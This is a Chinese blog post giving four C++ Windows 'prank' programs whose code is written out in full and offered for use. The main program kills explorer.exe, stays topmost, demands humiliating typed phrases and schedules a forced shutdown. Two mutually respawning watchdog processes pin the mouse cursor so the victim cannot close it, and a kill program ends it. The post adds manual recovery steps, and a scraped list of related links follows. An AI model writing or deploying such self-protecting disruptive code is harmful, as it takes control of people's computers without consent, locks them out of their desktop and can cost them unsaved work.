今天看到一个博客,让人承认我是猪,觉得很有意思,也写了一个同样让人承认我是猪的,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:

第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName);                            //拷贝数组CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程{CloseHandle(hProcess);                                //清除hProcess句柄return true;}bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个}CloseHandle(hProcess);    //清除hProcess句柄return false;
}
void po()
{if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");} if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");} HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main()
{po();system("taskkill /f /t /im explorer.exe");string in;po();HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; cin>>in;po();if(in == "我是猪"){cout<<"这是一个事实,哈哈哈\n";po();Sleep(5000);po();cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";cin>>in;if(in == "我是大傻子"){po();cout<<"真乖,哈哈哈哈哈哈\n";Sleep(1000);po();cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}po();cout<<"很勇啊你,让我帮你关机吧!\n";system("shutdown -s -t 120");cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";po();cin>>in;if(in == "我是大傻猪"){cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\n";po();system("shutdown -a");Sleep(3000);po();cout<<"啥?\n";Sleep(3000);po();cout<<"我忘了什么东西?\n";Sleep(3000);po();cout<<"恢复啥?\n";Sleep(3000);po();cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";cin>>in;po();if(in == "我是世上独一无二绝无仅有的超级大傻猪"){cout<<"真乖,看我咻---";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}cout<<"唉,人啊,看你这么不认真不说实话,那我走了";system("start 整人代码-kill.exe");return 0;
}

第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName);                            //拷贝数组CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程{CloseHandle(hProcess);                                //清除hProcess句柄return true;}bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个}CloseHandle(hProcess);    //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码.exe") == 0){system("start 整人代码.exe");}if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");}if(getProcess("整人代码-kill.exe") == 1){break;}      HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}

第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp

下面是代码:

#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName);                            //拷贝数组CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程{CloseHandle(hProcess);                                //清除hProcess句柄return true;}bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个}CloseHandle(hProcess);    //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");}if(getProcess("整人代码-kill.exe") == 1){break;}HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}

第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp

下面是代码:

#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName)                //此函数进程名不区分大小写
{char pName[MAX_PATH];                                //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName);                            //拷贝数组CharLowerBuff(pName,MAX_PATH);                        //将名称转换为小写PROCESSENTRY32 currentProcess;                        //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess);        //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,&currentProcess);        //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH);        //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0)            //比较是否存在此进程{CloseHandle(hProcess);                                //清除hProcess句柄return true;}bMore=Process32Next(hProcess,&currentProcess);            //遍历下一个}CloseHandle(hProcess);    //清除hProcess句柄return false;
}
using namespace std;
int main()
{while(getProcess("整人代码.exe")){system("taskkill /f /t /im 整人代码.exe");}return 0;
}

作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:

第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束

第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。

第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。

作用:

第一步:关闭程序

第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键

第三步:取消关机

注:本文章灵感来源于[c++整人代码]逼人承认“我是猪” 「v2.0」_蜀都客车的博客-CSDN博客_c++恶搞代码

但是本文章代码和如上文章没有任何关系,除getprocess函数来自其他CSDN大神之手,其它均为原创。

c++整人代码,超级加倍,让人承认我是大傻猪相关推荐

  1. c语言手机整人源码,c语言整人代码-20210411015719.docx-原创力文档

    Company Document number:WTUT-WT88Y-W8BBGB-BWYTT-19998 Company Document number:WTUT-WT88Y-W8BBGB-BWYT ...

  2. Python:变身超级赛亚人

    Python:变身超级赛亚人 思路 金色头发 添加头发 电弧特效 代码下载 上周六搞了个修炼写轮眼,利用python代码定位眼球再贴图,有点太粗糙.今儿又周末,效果升级下,玩个变身超级赛亚人-- 预期 ...

  3. python棋盘放麦粒求和递归_超级加倍!学会了就是一代土块(du guai)——你知道有多少种洗牌的方式吗?...

    原标题:超级加倍!学会了就是一代土块(du guai)--你知道有多少种洗牌的方式吗? 数学中有一个非常可爱的函数--阶乘函数( factorial function),它会将输入数乘以所有小于它的正 ...

  4. joke整人代码瘫痪_分析瘫痪:过度思考和了解太多代码

    joke整人代码瘫痪 I read a post on ArsTechnica today called "I know too much to program quickly. What ...

  5. 喜欢把代码写一行的人_我最喜欢的代码行

    喜欢把代码写一行的人 Every developer has their favourite patterns, functions or bits of code. This is mine and ...

  6. “我的代码正在被千百万人使用”,MySQL 之父等六大国际数据库掌门人谈如何做数据库

    作者 | 屠敏 出品 | CSDN(ID:CSDNnews) 都说互联网是有记忆的,殊不知强大的记忆力的背后是一个名为数据库的东西在默记,将散是满天星.亦或纷纷残叶满阶头的凌乱信息以各种形态永留存在互 ...

  7. 代码是写给人看的还是写给机器看的?

    在大部分的情况下我会认为代码是写给人看的.虽然代码最后的执行者是机器,但是实际上代码更多的时候是给人看的.我们来看看一段代码的生命周期:开发 --> 单元测试 --> Code Revie ...

  8. vbs整人代码大集合(多年以来的整合)

    博客超链接首页 博客超链接资源 vbs整人代码大集合/不要乱使用! 前言 一.删除D:\所有文件 二.不断弹出窗口 三.不断按下alt+f4 (开什么都关闭--) 四.按999次回车 五.关不掉的窗口 ...

  9. 微信卡死代码 java_能让微信卡死的代码是什么 微信整人代码大全

    微信近日有朋友发现一个BUG,准确来说是安卓系统的BUG,这个BUG代码能让用户点击后微信卡死状态,需要结束微信进程重新打开才能继续使用,是怎么办到的呢?是不是也想整蛊自己的闺蜜.基友呢?下面和小编一 ...

最新文章

  1. android响铃停止源代码,android – 如何停止当前正在播放的铃声?
  2. 在Visual Studio的Server Explorer中怎样修改表名
  3. electron开发
  4. 狼奔权限管理系统[开源]
  5. HDU 1715 大菲波数 (大数问题)
  6. python爬虫消费者与生产者_Condition版生产者与消费者模式
  7. 不须邮件服务器邮件发送asp插件,用asp实现支持附件的email系统_邮件服务器
  8. WebPack 简明学习教程
  9. C语言中浮点数在内存中的存储方式
  10. 怎样使按钮响应回车键
  11. 如何打造自动驾驶的数据闭环
  12. 【第135期】游戏策划:给@蒙蒙水雾的简历分析
  13. 机器学习高频面试题(41道)
  14. 忍得住清贫 耐得住寂寞 禁得起诱惑
  15. VMware 15 安装 macOS High Sierra 10.13 图文教程
  16. 【虚幻引擎UE】UE4/UE5 GIS辅助类插件推荐及使用介绍
  17. matlab拟合斜椭圆,椭圆拟合及拟合度评价
  18. 网址中请求参数中%2c
  19. 有人退税近4000元!个税年度汇算开始了,看看你能退多少?
  20. 迷宫寻宝(一) 搜索

热门文章

  1. JavaScript:通过点击按钮实现个人信息的录入,进而输出个人信息
  2. vcruntime140.dll不可用或缺少
  3. python南开大学王恺mooc_Python爬虫示例(正则表达式、靓汤、selenium),程序,BeautifulSoupselenium...
  4. 想做数码管显示,单片机IO口资源不够?看看WTV890语音芯片能做些啥
  5. 三,mergetool和difftool
  6. 外键 ‘FK__ICBCCard__CardID__3E1D39E1‘ 引用了位于被引用表 ‘StudentCard‘ 中的无效列 ‘CardID‘。
  7. paraview(三)运行和查看Paraview官方案例
  8. 微信跳wap有哪些作用?
  9. WebWork教程一
  10. 黑马Redis学习——实战篇(4)